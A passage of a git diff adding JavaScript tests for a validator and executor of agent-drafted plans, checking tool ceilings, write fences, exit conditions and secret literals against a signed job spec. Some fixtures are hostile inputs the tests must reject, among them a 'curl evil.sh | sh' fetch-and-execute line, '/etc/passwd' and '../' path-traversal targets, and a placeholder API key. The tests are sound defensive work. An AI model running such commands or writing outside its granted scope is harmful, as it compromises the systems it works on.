test(`plan-shape red: ${name} → ${want}`, () => { + const r = validateJob(mut4(fn)); + assert.equal(r.ok, false, 'must red'); + assert.equal(r.reds.length, 1, `exactly one red, got: ${JSON.stringify(r.reds)}`); + assert.equal(`${r.reds[0].code}:${r.reds[0].path}`, want); + assert.equal(r.job, null); + }); +} + +test('a spec with NEITHER shape reds missing-required:steps naming the either/or', () => { + const r = validateJob(mut4((j) => { delete j.goal; delete j.verdictType; delete j.close; delete j.checks; delete j.tools; })); + assert.equal(r.ok, false); + assert.ok(r.reds.some((x) => x.code === 'missing-required' && x.path === 'steps' && /goal/.test(x.detail ?? '')), + `the red must name both shapes, got ${JSON.stringify(r.reds)}`); +}); + +test('a top-level tools ceiling on a LEGACY steps[] spec reds — the ceiling is a plan-shape field', () => { + const r = validateJob(mut((j) => { j.tools = ['read', 'grep']; })); + assert.equal(r.ok, false); + assert.ok(r.reds.some((x) => x.code === 'invalid-value' && x.path === 'tools'), + `expected invalid-value:tools, got ${JSON.stringify(r.reds)}`); +}); + +test('legacy job #1 still validates green untouched (co-exist until sunset — no behavior change during the rung)', () => { + const r = validateJob(JOB1); + assert.deepEqual(r.reds, []); + assert.equal(r.ok, true); +}); + test('judged is inexpressible in the AGENT-drafted workflow config — the arbiter stays out of reach', () => { const cfg = { schema: 'v1', loop: { shape: 'refine', maxIterations: 3 }, diff --git a/tests/plan.test.js b/tests/plan.test.js new file mode 100644 index 0000000..41b823c --- /dev/null +++ b/tests/plan.test.js @@ -0,0 +1,278 @@ +// Layer 2: the plan-v1 validator — the AGENT-authored half of the two-doc +// story (design record 2026-07-21, decisions 7–9; PRD v1.12 anchors). The plan +// is the only document the emergent middle authors; this validator gates it +// before tokens burn: verbs ⊆ the signed ceiling (verb-escape), bounds ≤ shell +// caps, scopes/targets inside the signed fence, exits from the closed menu +// only (exit-illegal), check references resolve against the SIGNED checks menu +// (check-unknown), and the arbiter (close/budget/fence/merge) inexpressible at +// every depth. Same table discipline as job.test.js: one defect per case, +// exactly one red. + +import { test } from 'node:test'; +import assert from 'node:assert/strict'; +import { validatePlan, EXIT_TYPES, MAX_EXITS_PER_STEP, MAX_PLAN_STEPS, WRITE_VERBS } from '../src/plan.js'; +import { validateJob } from '../src/job.js'; + +// The signed side: a validateJob-green four-field spec (job #4's shape) — the +// ceiling, the fence, and the checks menu all come from it, never from opts. +const JOB = { + schema: 'job-v1', + job: 'aurora-testgen', + description: 'write a pytest suite for the untested orchestrator; mutation kill-rate is the close', + provider: 'anthropic-api', + cadence: { unit: 'week', every: 1 }, + budgetUsd: 1.8, + writeScope: ['tests/**'], + goal: 'Write a pytest suite for the orchestrator that kills at least 45% of the frozen mutant set.', + verdictType: 'green', + close: { type: 'predicate', cmd: 'python grade.py', expect: 0 }, + checks: [ + { name: 'clean-run', cmd: 'python -m pytest -ra tests/test_orchestrator.py', expect: 0, gapKeep: '^FAILED' }, + { name: 'form-floor', cmd: 'python check_form.py', expect: 0 }, + ], + tools: ['read', 'grep', 'write', 'edit', 'recall', 'get'], + escalation: { mode: 'decision-ready' }, +}; + +// The POC's winning shape as a plan: a read-only scout step, then a write step +// whose exit is the F46 composition — tree-changed ∧ check-passes(clean-run). +const PLAN = { + schema: 'plan-v1', + steps: [ + { + id: 'map-functions', + action: 'Read the orchestrator and write tests/notes.md listing the functions to cover.', + tools: ['read', 'recall', 'get', 'write'], + rounds: 6, + target: 'tests/notes.md', + exit: [{ type: 'artifact-written', path: 'tests/notes.md', pattern: 'def ' }, { type: 'tree-changed', scope: 'tests/**' }], + }, + { + id: 'write-suite', + action: 'Write the pytest suite for the listed functions; fix failures the clean-run check names.', + tools: ['get', 'write', 'edit'], + rounds: 12, + target: 'tests/test_orchestrator.py', + exit: [{ type: 'tree-changed', scope: 'tests/**' }, { type: 'check-passes', name: 'clean-run' }], + }, + ], +}; + +const clone = (o) => JSON.parse(JSON.stringify(o)); +const mut = (fn) => { const p = clone(PLAN); fn(p); return p; }; +const OPTS = { job: JOB }; + +test('the signed side of these tests is itself validateJob-green (anchor, not a fixture authored to pass)', () => { + const r = validateJob(JOB); + assert.deepEqual(r.reds, []); +}); + +test('the POC-shaped plan validates green and returns the plan', () => { + const r = validatePlan(PLAN, OPTS); + assert.deepEqual(r.reds, []); + assert.equal(r.ok, true); + assert.deepEqual(r.plan, PLAN); +}); + +test('string input single-parses; invalid JSON is a parse-error red, plan null', () => { + const ok = validatePlan(JSON.stringify(PLAN), OPTS); + assert.equal(ok.ok, true); + assert.deepEqual(ok.plan, PLAN); + const bad = validatePlan('{nope', OPTS); + assert.equal(bad.ok, false); + assert.equal(bad.reds[0].code, 'parse-error'); + assert.equal(bad.plan, null); +}); + +test('garbage input types → parse-error red, never a throw', () => { + for (const garbage of [42, null, true, [], undefined]) { + const r = validatePlan(garbage, OPTS); + assert.equal(r.ok, false, `${JSON.stringify(garbage)} must red`); + assert.equal(r.reds[0].code, 'parse-error'); + } +}); + +test('a missing or malformed signed job fails CLOSED with its own red — never an open gate', () => { + for (const job of [undefined, null, 42, 'job', []]) { + const r = validatePlan(PLAN, { job }); + assert.equal(r.ok, false, `${JSON.stringify(job)} must red`); + assert.equal(`${r.reds[0].code}:${r.reds[0].path}`, 'job-invalid:job'); + assert.equal(r.plan, null); + } +}); + +test('the closed menus ship frozen', () => { + assert.deepEqual([...EXIT_TYPES], ['artifact-written', 'tree-changed', 'json-valid', 'check-passes']); + assert.ok(Object.isFrozen(EXIT_TYPES)); + assert.deepEqual([...WRITE_VERBS], ['write', 'edit']); + assert.ok(Object.isFrozen(WRITE_VERBS)); + assert.equal(MAX_EXITS_PER_STEP, 2); + assert.equal(MAX_PLAN_STEPS, 8); +}); + +test('verb-escape carries the escaping verb as a STRUCTURED field (the ledger keys on it)', () => { + // ceiling here is the job's signed tools list; ask for run — never in any ceiling + const r = validatePlan(mut((p) => { p.steps[0].tools = ['read', 'run']; }), OPTS); + assert.equal(r.ok, false); + const red = r.reds.find((x) => x.code === 'verb-escape'); + assert.ok(red, `expected verb-escape, got ${JSON.stringify(r.reds)}`); + assert.equal(red.path, 'steps.0.tools'); + assert.equal(red.verb, 'run'); +}); + +test('a ceiling NARROWER than the menu binds: a verb in the menu but outside the signed ceiling escapes', () => { + const narrowJob = clone(JOB); + narrowJob.tools = ['read', 'grep']; + const r = validatePlan(mut((p) => { + p.steps = [{ id: 'read-only', action: 'read the module', tools: ['read', 'write'], rounds: 4, exit: [{ type: 'json-valid', path: 'tests/out.json' }] }]; + }), { job: narrowJob }); + assert.equal(r.ok, false); + const red = r.reds.find((x) => x.code === 'verb-escape'); + assert.ok(red); + assert.equal(red.verb, 'write', 'write is in the MENU but outside this spec\'s signed ceiling'); +}); + +test('a job with NO tools field ceilings at the full menu (validateJob permits omission)', () => { + const noTools = clone(JOB); + delete noTools.tools; + const r = validatePlan(PLAN, { job: noTools }); + assert.deepEqual(r.reds, []); +}); + +test('a job with NO checks menu makes every check-passes a check-unknown', () => { + const noChecks = clone(JOB); + delete noChecks.checks; + const r = validatePlan(PLAN, { job: noChecks }); + assert.equal(r.ok, false); + assert.ok(r.reds.some((x) => x.code === 'check-unknown' && x.path === 'steps.1.exit.1'), + `got ${JSON.stringify(r.reds)}`); +}); + +test('the F17 pairing rule: check-passes on a write-granted step without tree-changed reds exit-illegal', () => { + // the seed tree is green — a lone check-passes would pass on the untouched + // repo, minting an unearned step exit (the already-green trap, F17/F46) + const r = validatePlan(mut((p) => { p.steps[1].exit = [{ type: 'check-passes', name: 'clean-run' }]; }), OPTS); + assert.equal(r.ok, false); + assert.equal(r.reds.length, 1, `exactly one red, got ${JSON.stringify(r.reds)}`); + assert.equal(`${r.reds[0].code}:${r.reds[0].path}`, 'exit-illegal:steps.1.exit'); + assert.match(r.reds[0].detail ?? '', /tree-changed/); +}); + +test('check-passes WITHOUT a write grant needs no pairing (a read-only verify step is legal)', () => { + const r = validatePlan(mut((p) => { + p.steps[1].tools = ['read', 'get']; + delete p.steps[1].target; + p.steps[1].exit = [{ type: 'check-passes', name: 'clean-run' }]; + }), OPTS); + assert.deepEqual(r.reds, []); +}); + +test('rounds ceiling is an opt the shell sets (12 passes under 40, reds under 8)', () => { + assert.equal(validatePlan(PLAN, OPTS).ok, true); + const r = validatePlan(PLAN, { job: JOB, maxStepRounds: 8 }); + assert.equal(r.ok, false); + assert.equal(`${r.reds[0].code}:${r.reds[0].path}`, 'bounds:steps.1.rounds'); +}); + +// Single-defect reds: [name, mutator, 'code:path'] — exactly one red each. +const RED_CASES = [ + // -- plan hygiene -- + ['wrong schema tag', (p) => { p.schema = 'v1'; }, 'invalid-value:schema'], + ['schema missing', (p) => { delete p.schema; }, 'missing-required:schema'], + ['unknown top-level field', (p) => { p.notes = 'remember to be good'; }, 'unknown-field:notes'], + ['steps missing', (p) => { delete p.steps; }, 'missing-required:steps'], + ['steps empty', (p) => { p.steps = []; }, 'missing-required:steps'], + ['too many steps', (p) => { p.steps = Array.from({ length: 9 }, (_, i) => ({ ...clone(p.steps[0]), id: `s${i}` })); }, 'bounds:steps'], + ['step not an object', (p) => { p.steps[0] = 'scout'; }, 'invalid-value:steps.0'], + ['non-slug step id', (p) => { p.steps[0].id = 'Map Functions!'; }, 'invalid-value:steps.0.id'], + ['duplicate step ids', (p) => { p.steps[1].id = 'map-functions'; }, 'duplicate-id:steps.1.id'], + ['action missing', (p) => { delete p.steps[0].action; }, 'missing-required:steps.0.action'], + ['action empty', (p) => { p.steps[0].action = ''; }, 'missing-required:steps.0.action'], + + // -- the arbiter, inexpressible at every depth (decision 9 / F17 depth rule) -- + ['close smuggled into a step', (p) => { p.steps[0].close = { type: 'predicate', cmd: 'true', expect: 0 }; }, 'unknown-field:steps.0.close'], + ['budget smuggled into a step', (p) => { p.steps[0].budgetUsd = 99; }, 'unknown-field:steps.0.budgetUsd'], + ['fence smuggled into a step', (p) => { p.steps[0].writeScope = ['src/**']; }, 'unknown-field:steps.0.writeScope'], + ['close smuggled top-level', (p) => { p.close = { type: 'predicate', cmd: 'true', expect: 0 }; }, 'unknown-field:close'], + ['checks menu smuggled top-level (the agent never authors a check)', (p) => { p.checks = [{ name: 'my-check', cmd: 'true', expect: 0 }]; }, 'unknown-field:checks'], + ['dependsOn is dead vocabulary in v1 (decision 7: order IS the order — an inert knob is a fake contrast lever)', (p) => { p.steps[1].dependsOn = ['map-functions']; }, 'unknown-field:steps.1.dependsOn'], + + // -- tools (the ceiling chain) -- + ['tools missing', (p) => { delete p.steps[0].tools; }, 'missing-required:steps.0.tools'], + ['tools empty', (p) => { p.steps[0].tools = []; }, 'invalid-value:steps.0.tools'], + ['duplicate tools', (p) => { p.steps[0].tools = ['read', 'read']; }, 'invalid-value:steps.0.tools'], + ['unknown tool is a typo, never an escape', (p) => { p.steps[0].tools = ['read', 'bash']; }, 'invalid-value:steps.0.tools'], + + // -- rounds (bounds ≤ shell caps) -- + ['rounds missing', (p) => { delete p.steps[0].rounds; }, 'bounds:steps.0.rounds'], + ['rounds zero', (p) => { p.steps[0].rounds = 0; }, 'bounds:steps.0.rounds'], + ['rounds non-integer', (p) => { p.steps[0].rounds = 6.5; }, 'bounds:steps.0.rounds'], + ['rounds above the shell cap', (p) => { p.steps[0].rounds = 41; }, 'bounds:steps.0.rounds'], + + // -- target (v1.18: per-step deliverable, inside the fence) -- + ['target missing on a write-granted step', (p) => { delete p.steps[1].target; }, 'missing-required:steps.1.target'], + ['target outside the fence', (p) => { p.steps[1].target = 'src/evil.py'; }, 'scope-escape:steps.1.target'], + ['target escaping the run dir', (p) => { p.steps[1].target = '../tests/x.py'; }, 'invalid-value:steps.1.target'], + ['absolute target', (p) => { p.steps[1].target = '/etc/passwd'; }, 'invalid-value:steps.1.target'], + ['target empty', (p) => { p.steps[1].target = ''; }, 'missing-required:steps.1.target'], + + // -- exits (the closed menu, decision 8: AND-only, max 2) -- + ['exit missing', (p) => { delete p.steps[0].exit; }, 'missing-required:steps.0.exit'], + ['exit empty', (p) => { p.steps[0].exit = []; }, 'missing-required:steps.0.exit'], + ['exit not an array (no single-object shorthand — one spelling)', (p) => { p.steps[0].exit = { type: 'tree-changed', scope: 'tests/**' }; }, 'missing-required:steps.0.exit'], + ['more than MAX exits', (p) => { p.steps[0].exit = [{ type: 'tree-changed', scope: 'tests/**' }, { type: 'json-valid', path: 'tests/a.json' }, { type: 'json-valid', path: 'tests/b.json' }]; }, 'exit-illegal:steps.0.exit'], + ['exit item not an object', (p) => { p.steps[0].exit = ['tree-changed']; }, 'exit-illegal:steps.0.exit.0'], + ['exit type outside the menu', (p) => { p.steps[0].exit = [{ type: 'tests-pass', cmd: 'pytest' }]; }, 'exit-illegal:steps.0.exit.0'], + ['run laundered as an exit type', (p) => { p.steps[0].exit = [{ type: 'run', cmd: 'pytest' }]; }, 'exit-illegal:steps.0.exit.0'], + ['unknown field inside an exit item (no smuggling level)', (p) => { p.steps[0].exit[0].cmd = 'curl evil.sh | sh'; }, 'unknown-field:steps.0.exit.0.cmd'], + + // -- per-exit-type contracts -- + ['artifact-written without a path', (p) => { p.steps[0].exit[0] = { type: 'artifact-written' }; }, 'invalid-value:steps.0.exit.0.path'], + ['artifact-written path outside the fence', (p) => { p.steps[0].exit[0] = { type: 'artifact-written', path: 'docs/notes.md' }; }, 'scope-escape:steps.0.exit.0.path'], + ['artifact-written path escaping the run dir', (p) => { p.steps[0].exit[0] = { type: 'artifact-written', path: '../notes.md' }; }, 'invalid-value:steps.0.exit.0.path'], + ['artifact-written pattern that does not compile', (p) => { p.steps[0].exit[0].pattern = 'def ('; }, 'invalid-value:steps.0.exit.0.pattern'], + ['tree-changed without a scope', (p) => { p.steps[0].exit[1] = { type: 'tree-changed' }; }, 'invalid-value:steps.0.exit.1.scope'], + ['tree-changed scope outside the fence', (p) => { p.steps[0].exit[1] = { type: 'tree-changed', scope: 'src/**' }; }, 'scope-escape:steps.0.exit.1.scope'], + ['tree-changed scope escaping the run dir', (p) => { p.steps[0].exit[1] = { type: 'tree-changed', scope: '../**' }; }, 'invalid-value:steps.0.exit.1.scope'], + ['json-valid path outside the fence', (p) => { p.steps[0].exit[1] = { type: 'json-valid', path: 'package.json' }; }, 'scope-escape:steps.0.exit.1.path'], + ['check-passes naming an unsigned check', (p) => { p.steps[1].exit[1] = { type: 'check-passes', name: 'my-clever-check' }; }, 'check-unknown:steps.1.exit.1'], + ['check-passes without a name', (p) => { p.steps[1].exit[1] = { type: 'check-passes' }; }, 'invalid-value:steps.1.exit.1.name'], + + // -- secrets (the agent-authored doc is the riskier entry point) -- + ['inline key in an action', (p) => { p.steps[0].action = 'auth with sk-ant-api03-abcdefghijklmnop then read'; }, 'secret-literal:steps.0.action'], +]; + +for (const [name, fn, want] of RED_CASES) { + test(`red: ${name} → ${want}`, () => { + const r = validatePlan(mut(fn), OPTS); + assert.equal(r.ok, false, 'must red'); + assert.equal(r.reds.length, 1, `exactly one red, got: ${JSON.stringify(r.reds)}`); + assert.equal(`${r.reds[0].code}:${r.reds[0].path}`, want); + assert.equal(r.plan, null); + }); +} + +test('check-unknown detail names the SIGNED menu (the gap must aim the replan, not taunt it)', () => { + const r = validatePlan(mut((p) => { p.steps[1].exit[1] = { type: 'check-passes', name: 'my-clever-check' }; }), OPTS); + assert.match(r.reds[0].detail ?? '', /clean-run/); + assert.match(r.reds[0].detail ?? '', /form-floor/); +}); + +test('validation does not mutate the plan (fresh-copy comparison)', () => { + const fresh = clone(PLAN); + const r = validatePlan(PLAN, OPTS); + assert.equal(r.plan, PLAN, 'reference echo is the contract'); + assert.deepEqual(r.plan, fresh); +}); + +test('a legacy steps[] job cannot gate a plan — plans validate only against the plan shape', () => { + const legacy = { + ...clone(JOB), + steps: [{ id: 'fix', close: { type: 'predicate', cmd: 'npm test', expect: 0 }, class: 'hard' }], + }; + delete legacy.goal; delete legacy.verdictType; delete legacy.close; delete legacy.checks; delete legacy.tools; + const r = validatePlan(PLAN, { job: legacy }); + assert.equal(r.ok, false); + assert.equal(`${r.reds[0].code}:${r.reds[0].path}`, 'job-invalid:job'); + assert.match(r.reds[0].detail ?? '', /plan shape/); +}); diff --git a/tests/planrun.test.js b/tests/planrun.test.js new file mode 100644 index 0000000..dcd78b7 --- /dev/null +++ b/tests/planrun.test.js @@ -0,0 +1,471 @@ +// Layer 2 module 4b: the plan executor — SCOUT → PLAN (validated) → per-step +// micro-loops (judge = exit evaluator) → ONE replan → the operator's close. +// Integration-grade: real bare-agent Loop, real Gate, real spawned checks and +// closes, scripted provider (the one legitimate seam). Doctrine under test: +// the F46 mechanism end-to-end (an exit gap converts the next attempt), the +// prompt contract (v1.12 §5 — the worker never sees budget/close-cmd/checks' +// cmds), one replan, preflight check validation before tokens, and the +// already-green distinct record (F17). + +import { test } from 'node:test'; +import assert from 'node:assert/strict'; +import { mkdtempSync, mkdirSync, writeFileSync, readFileSync, rmSync, existsSync } from 'node:fs'; +import { tmpdir } from 'node:os'; +import { join } from 'node:path'; +import { runPlan } from '../src/planrun.js'; +import { validateJob } from '../src/job.js'; +import { scriptedProvider, scriptedNativeFactory } from './helpers.js'; + +const tcall = (id, name, args) => ({ id, name, arguments: args }); + +/** + * A real patient: close greens iff tests/test_x.mjs exists and contains "ok"; + * the clean-run check greens on the same condition (a cheap in-run mirror of + * the close's wall — the F46 shape). Both are real spawned scripts. + */ +function makePatient(t, { closeGreen = false } = {}) { + const wd = mkdtempSync(join(tmpdir(), 'planrun-')); + t.after(() => rmSync(wd, { recursive: true, force: true })); + mkdirSync(join(wd, 'tests')); + mkdirSync(join(wd, 'src')); + writeFileSync(join(wd, 'src', 'mod.mjs'), 'export const x = 1;\n'); + const probe = `import { existsSync, readFileSync } from 'node:fs'; +const p = new URL('./tests/test_x.mjs', import.meta.url).pathname; +if (existsSync(p) && readFileSync(p, 'utf8').includes('ok')) { console.log('suite: 1 passed'); process.exit(0); } +console.log('FAILED tests/test_x.mjs — file missing or has no ok assertion'); process.exit(1);\n`; + writeFileSync(join(wd, 'close.mjs'), closeGreen ? 'process.exit(0)\n' : probe); + writeFileSync(join(wd, 'check.mjs'), probe); + return wd; +} + +const JOB = (wd, over = {}) => ({ + schema: 'job-v1', + job: 'plan-patient', + description: 'write the missing test through an agent-authored plan', + provider: 'anthropic-api', + cadence: { unit: 'day', every: 1 }, + budgetUsd: 1.5, + writeScope: ['tests/**'], + goal: 'Write tests/test_x.mjs with an ok assertion so the suite greens.', + verdictType: 'green', + close: { type: 'predicate', cmd: 'node close.mjs', expect: 0 }, + checks: [{ name: 'clean-run', cmd: 'node check.mjs', expect: 0, gapKeep: '^FAILED' }], + tools: ['read', 'write', 'edit'], + escalation: { mode: 'decision-ready' }, + ...over, +}); + +const PLAN = (wd, steps) => JSON.stringify({ + schema: 'plan-v1', + steps: steps ?? [{ + id: 'write-test', action: 'Write tests/test_x.mjs asserting the module exports.', + tools: ['write'], rounds: 6, target: 'tests/test_x.mjs', + exit: [{ type: 'tree-changed', scope: 'tests/**' }, { type: 'check-passes', name: 'clean-run' }], + }], +}); + +/** collect spine events in memory (the pure-listener contract) */ +const collector = () => { + /** @type {any[]} */ + const events = []; + return { events, emit: (type, data = {}) => { const e = { type, ...data }; events.push(e); return e; } }; +}; + +async function go(wd, provider, { job = JOB(wd), capRuns = 3 } = {}) { + const jv = validateJob(job); + assert.deepEqual(jv.reds, [], 'the test job must be validateJob-green'); + const { events, emit } = collector(); + const outcome = await runPlan(jv.job, { workdir: wd, provider, emit, capRuns, remainingUsd: () => 1.5 }); + return { outcome, events }; +} + +test('happy path: scout → plan → write step (exits green) → close green; plan-executed on the spine', async (t) => { + const wd = makePatient(t); + const provider = scriptedProvider([ + { text: 'src/mod.mjs exports x; tests/ is empty — no test exists yet.' }, // scout + { text: PLAN(wd) }, // plan draft + { toolCalls: [tcall('t1', 'shell_write', { path: join(wd, 'tests', 'test_x.mjs'), content: 'ok — asserts x\n' })] }, + { text: 'wrote tests/test_x.mjs' }, // attempt summary + ]); + const { outcome, events } = await go(wd, provider); + assert.equal(outcome, 'green'); + assert.ok(existsSync(join(wd, 'tests', 'test_x.mjs'))); + assert.ok(events.find((e) => e.type === 'scout-result'), 'scout ran'); + assert.equal(events.find((e) => e.type === 'plan-validate')?.ok, true); + const exec = events.find((e) => e.type === 'plan-executed'); + assert.ok(exec, 'plan-as-executed is on the spine (design law #2)'); + assert.deepEqual(exec.steps.map((s) => s.outcome), ['green']); + assert.equal(exec.replanned, false); + const exits = events.filter((e) => e.type === 'exit-eval'); + assert.ok(exits.length >= 1, 'exit evaluations are on the spine'); + assert.ok(exits.at(-1).results.every((r) => r.pass)); +}); + +test('prompt contract (v1.12 §5): the worker sees the repo root and its action — NEVER the budget, the close cmd, or a check cmd', async (t) => { + const wd = makePatient(t); + const provider = scriptedProvider([ + { text: 'scout notes' }, + { text: PLAN(wd) }, + { toolCalls: [tcall('t1', 'shell_write', { path: join(wd, 'tests', 'test_x.mjs'), content: 'ok\n' })] }, + { text: 'done' }, + ]); + await go(wd, provider); + const stepPrompts = provider.calls.slice(2); // after scout + plan + assert.ok(stepPrompts.length >= 1); + for (const p of stepPrompts) { + assert.ok(p.includes(wd), 'the absolute repo root is stated (F10)'); + assert.ok(!p.includes('close.mjs'), 'the close command never reaches the worker'); + assert.ok(!p.includes('check.mjs'), 'a check\'s command never reaches the worker (it references checks by name only)'); + assert.ok(!/budgetUsd|1\.5/.test(p), 'the budget never reaches the worker'); + } +}); + +test('the F46 mechanism: a red check feeds its mechanical gap to attempt 2, which converts', async (t) => { + const wd = makePatient(t); + const provider = scriptedProvider([ + { text: 'scout notes' }, + { text: PLAN(wd) }, + // attempt 1: writes a file WITHOUT the ok marker — tree changes, check reds + { toolCalls: [tcall('t1', 'shell_write', { path: join(wd, 'tests', 'test_x.mjs'), content: 'not yet\n' })] }, + { text: 'wrote a test' }, + // attempt 2: sees the FAILED line, fixes it + { toolCalls: [tcall('t2', 'shell_write', { path: join(wd, 'tests', 'test_x.mjs'), content: 'ok — fixed\n' })] }, + { text: 'fixed the assertion' }, + ]); + const { outcome } = await go(wd, provider); + assert.equal(outcome, 'green'); + const attempt2 = provider.calls[4]; + assert.match(attempt2, /FAILED tests\/test_x\.mjs/, 'the check\'s kept-failures line (gapKeep) reached attempt 2 — the mechanical wall (F38/F46)'); +}); + +test('plan drafting: an invalid first draft is fed back its reds and the redraft proceeds; two invalid drafts end plan-red', async (t) => { + const wd = makePatient(t); + const bad = JSON.stringify({ schema: 'plan-v1', steps: [{ id: 'x', action: 'do', tools: ['run'], rounds: 6, exit: [{ type: 'tree-changed', scope: 'tests/**' }] }] }); + const provider = scriptedProvider([ + { text: 'scout notes' }, + { text: bad }, // draft 1: verb-escape (run) + { text: PLAN(wd) }, // redraft: valid + { toolCalls: [tcall('t1', 'shell_write', { path: join(wd, 'tests', 'test_x.mjs'), content: 'ok\n' })] }, + { text: 'done' }, + ]); + const { outcome, events } = await go(wd, provider); + assert.equal(outcome, 'green'); + assert.match(provider.calls[2], /verb-escape/, 'the redraft prompt names the reds'); + const validates = events.filter((e) => e.type === 'plan-validate'); + assert.deepEqual(validates.map((e) => e.ok), [false, true]); + + const wd2 = makePatient(t); + const stubborn = scriptedProvider([{ text: 'scout' }, { text: bad }, { text: bad }]); + const r2 = await go(wd2, stubborn); + assert.equal(r2.outcome, 'plan-red'); + assert.ok(r2.events.some((e) => e.type === 'plan-red' && e.code === 'verb-escape')); +}); + +test('ONE replan: a step that exhausts its attempts triggers exactly one replan; the replanned plan greens', async (t) => { + const wd = makePatient(t); + // plan A's step writes nothing (text-only attempts) → tree-changed reds every + // attempt → cap → replan; plan B's step writes and greens + const provider = scriptedProvider([ + { text: 'scout notes' }, + { text: PLAN(wd) }, + { text: 'thinking about it' }, // attempt 1: no write + { text: 'still thinking' }, // attempt 2: no write + { text: PLAN(wd, [{ + id: 'write-test-2', action: 'Actually write tests/test_x.mjs now.', + tools: ['write'], rounds: 6, target: 'tests/test_x.mjs', + exit: [{ type: 'tree-changed', scope: 'tests/**' }, { type: 'check-passes', name: 'clean-run' }], + }]) }, // the replan + { toolCalls: [tcall('t1', 'shell_write', { path: join(wd, 'tests', 'test_x.mjs'), content: 'ok\n' })] }, + { text: 'done' }, + ]); + const { outcome, events } = await go(wd, provider, { capRuns: 2 }); + assert.equal(outcome, 'green'); + const replans = events.filter((e) => e.type === 'replan'); + assert.equal(replans.length, 1, 'exactly one replan (unlimited replanning launders thrash as adaptation)'); + assert.equal(events.find((e) => e.type === 'plan-executed').replanned, true); +}); + +test('a second exhaustion after the replan escalates — the stop is a result', async (t) => { + const wd = makePatient(t); + const provider = scriptedProvider([ + { text: 'scout' }, + { text: PLAN(wd) }, + { text: 'no write 1' }, { text: 'no write 2' }, // plan A exhausts + { text: PLAN(wd) }, // replan + { text: 'no write 3' }, // plan B exhausts too (sticks) + ]); + const { outcome, events } = await go(wd, provider, { capRuns: 2 }); + assert.match(outcome, /^step-red:/); + assert.equal(events.filter((e) => e.type === 'replan').length, 1, 'never a second replan'); +}); + +test('a mid-step provider-red is a CASUALTY, not a step-red: runPlan returns provider-red so the outcome and the escalation agree (F11/F44)', async (t) => { + const wd = makePatient(t); + // scout + a valid plan, then the STEP worker's provider throws a transport + // error (category provider-red) — a casualty, never a capability failure. It + // must NOT be laundered into step-red (the outcome the driver reads as tier data). + const base = scriptedProvider([{ text: 'scout notes' }, { text: PLAN(wd) }]); + let n = 0; + const provider = { + calls: base.calls, + async generate(/** @type {any} */ messages, /** @type {any} */ tools) { + if (n++ >= 2) { const e = /** @type {any} */ (new Error('ECONNRESET mid-step')); e.category = 'provider-red'; e.lib = 'bare-agent'; throw e; } + return base.generate(messages, tools); + }, + }; + const { outcome, events } = await go(wd, provider); + assert.equal(outcome, 'provider-red', 'a transport throw during a step is a provider-red casualty, never step-red'); + const esc = events.filter((e) => e.type === 'escalation').at(-1); + assert.equal(esc.category, 'provider-red', 'the returned outcome and the spine escalation name the SAME category (F11)'); +}); + +test('preflight: a signed check that cannot RUN escalates broken-close before any tokens', async (t) => { + const wd = makePatient(t); + const provider = scriptedProvider([{ text: 'never reached' }]); + const job = JOB(wd, { checks: [{ name: 'clean-run', cmd: 'no-such-binary --x', expect: 0 }] }); + const { outcome, events } = await go(wd, provider, { job }); + assert.equal(outcome, 'check-red'); + assert.equal(provider.calls.length, 0, 'no tokens were spent'); + const esc = events.find((e) => e.type === 'escalation'); + assert.equal(esc.category, 'broken-close'); + assert.match(esc.detail ?? '', /clean-run/); +}); + +test('an already-green close at precheck ends the run as the DISTINCT already-green, zero tokens (F17)', async (t) => { + const wd = makePatient(t, { closeGreen: true }); + const provider = scriptedProvider([{ text: 'never reached' }]); + const { outcome, events } = await go(wd, provider); + assert.equal(outcome, 'already-green'); + assert.equal(provider.calls.length, 0); + assert.ok(events.some((e) => e.type === 'close-precheck')); +}); + +test('outer close red after green steps: the gap feeds ONE bounded fix loop judged by the REAL close', async (t) => { + const wd = makePatient(t); + // the check greens on "ok" but the CLOSE also wants the file to import the module — + // make close stricter than the check so steps green while the close reds once + writeFileSync(join(wd, 'close.mjs'), `import { existsSync, readFileSync } from 'node:fs'; +const p = new URL('./tests/test_x.mjs', import.meta.url).pathname; +const t = existsSync(p) ? readFileSync(p, 'utf8') : ''; +if (t.includes('ok') && t.includes('import')) process.exit(0); +console.log('FAILED close: the test never imports the module'); process.exit(1);\n`); + const provider = scriptedProvider([ + { text: 'scout' }, + { text: PLAN(wd) }, + { toolCalls: [tcall('t1', 'shell_write', { path: join(wd, 'tests', 'test_x.mjs'), content: 'ok but no module use\n' })] }, + { text: 'wrote it' }, // step greens (check passes) + // fix loop attempt: sees the close gap, adds the import + { toolCalls: [tcall('t2', 'shell_write', { path: join(wd, 'tests', 'test_x.mjs'), content: "import { x } from '../src/mod.mjs'; // ok\n" })] }, + { text: 'added the import' }, + ]); + const { outcome, events } = await go(wd, provider); + assert.equal(outcome, 'green'); + const fixPrompt = provider.calls[4]; + assert.match(fixPrompt, /FAILED close: the test never imports/, 'the close gap reached the fix loop'); + assert.ok(events.some((e) => e.type === 'fix-loop'), 'the fix loop is a named spine phase'); +}); + +test('every provider round is metered on the spine as worker-round with a phase label (F12: money per round, attributable)', async (t) => { + const wd = makePatient(t); + const provider = scriptedProvider([ + { text: 'scout' }, + { text: PLAN(wd) }, + { toolCalls: [tcall('t1', 'shell_write', { path: join(wd, 'tests', 'test_x.mjs'), content: 'ok\n' })] }, + { text: 'done' }, + ]); + const { events } = await go(wd, provider); + const rounds = events.filter((e) => e.type === 'worker-round'); + assert.ok(rounds.length >= 4, `scout + plan + 2 step rounds at least, got ${rounds.length}`); + const phases = new Set(rounds.map((r) => r.phase)); + assert.ok(phases.has('scout') && phases.has('plan'), `phases label attribution, got ${[...phases]}`); + assert.ok(rounds.every((r) => 'costUsd' in r), 'every round carries its cost (null is the honest unknown, never omitted)'); +}); + +test('the scout is read-only by construction: its tool menu carries no write-class verb', async (t) => { + const wd = makePatient(t); + const provider = scriptedProvider([ + { text: 'scout' }, + { text: PLAN(wd) }, + { toolCalls: [tcall('t1', 'shell_write', { path: join(wd, 'tests', 'test_x.mjs'), content: 'ok\n' })] }, + { text: 'done' }, + ]); + await go(wd, provider); + const scoutMenu = provider.toolsOffered[0]; + assert.ok(!scoutMenu.includes('shell_write') && !scoutMenu.includes('shell_edit'), + `the menu is the grant — the scout cannot write, got ${scoutMenu}`); + assert.ok(scoutMenu.includes('shell_read'), 'the scout can read'); + const planMenu = provider.toolsOffered[1]; + assert.deepEqual(planMenu, [], 'the planner sees the scout blob only — never the repo (no tools at all)'); +}); + +// ── review 2026-07-21: doctrine-restoring fixes to the graduated plan flow ── + +test('a GOLD close that validates under 